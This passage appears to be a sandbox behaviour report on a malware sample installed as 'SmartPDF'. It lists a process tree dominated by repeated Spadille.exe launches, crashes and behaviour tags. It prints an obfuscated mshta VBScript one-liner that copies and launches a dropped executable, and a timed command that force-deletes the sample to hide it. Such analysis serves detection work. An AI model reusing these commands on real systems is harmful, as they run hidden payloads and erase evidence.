- Executes dropped EXE
- Loads dropped DLL
PID:5736

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv QBDop5dRBU+BY9eX637TDw.0.2
1⤵
PID:4724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1492 -ip 1492
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3312

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Modifies data under HKEY_USERS
PID:1100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 2444 -ip 2444
1⤵
PID:4804

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4952 -ip 4952
1⤵
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:2824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 996 -ip 996
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4696

C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"
1⤵
PID:1428

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe"
2⤵
PID:7184

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
3⤵
- Delays execution with timeout.exe
PID:5764

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCrIPt: cLOSe( CREAteobjecT ("wScRiPT.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /C tYpe ""C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE"" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi & if ""-poRsuYEMryiLi""== """" for %m in ( ""C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE"" ) do taskkill /iM ""%~NXm"" -F" ,0 , TRUE ))
1⤵
PID:1188

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi& if "-poRsuYEMryiLi"== "" for %m in ("C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE" ) do taskkill /iM "%~NXm" -F
2⤵
PID:5512

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3612

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
- Executes dropped EXE
PID:5812

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
- Executes dropped EXE
PID:512

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
- Executes dropped EXE
PID:1468

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:6112

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:2680

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:4716

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:6276

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:6840

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:6656

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:6952

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:3296

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7288

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7844

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7272

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7928

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:1192

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5788

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:1552

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:4344

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5064

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:1128

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5724

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:3308

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7924

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:1300

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:4472

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:3772

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:6048

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:1936

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:6944

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7072

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:4516

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:6164

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6164 -s 28
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6008

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7916

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7000

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5196

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:860

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:3884

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:440

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5632

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5196

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:1900

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:1956

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:3312

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:6860

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7384

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:72

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5284

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8592

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8984

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8504

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:2208

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8924

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:3920

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8640

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:2208

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8092

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:9132

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:4260

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8900

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:9136

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:1852

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:9188

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:6552

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5464

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5464 -s 28
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:8240

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:816

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:1928

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:6492

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6492 -s 28
3⤵
- Program crash
- Enumerates system info in registry
PID:6240

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8712

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:412

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7248

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7716

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:6484

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:1476

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:3032

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8872

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5856

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7880

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8100

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5988

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8216

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8124

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8304

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:2864

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5280

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:3088

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:6736

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8968

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7252

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8676

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:1036

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8664

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:9244

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:9552

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:9824

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:10196

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8548

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:9908

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:9664

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:10044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 10044 -s 28
3⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:9628

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:9012

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5792

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:9392

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:9224

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:10220

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7084

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5180

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:1584

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7220

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:4036

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:4680

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:10332

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:10552

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:10824

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:11200

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:10476

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:10836

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:11052

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:10592

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8472

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:10332

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:9252

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8164

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:10336

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5304

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:7684

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5192

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:10688

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:10916

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5600

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:8164

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:10076

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:11396

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:11656

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:12020

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:12180

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:11376

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:11700

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:12892

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:13080

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:3316

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:12968

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:9464

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:2980

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:5944

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:12280

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:4796

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:13320

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:13512

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:13748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 13748 -s 28
3⤵
- Program crash
PID:14108

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:14064

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:14304

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:13680

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:13972

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:14268

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:13636

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:12060

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:12276

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
2⤵
PID:11844

C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
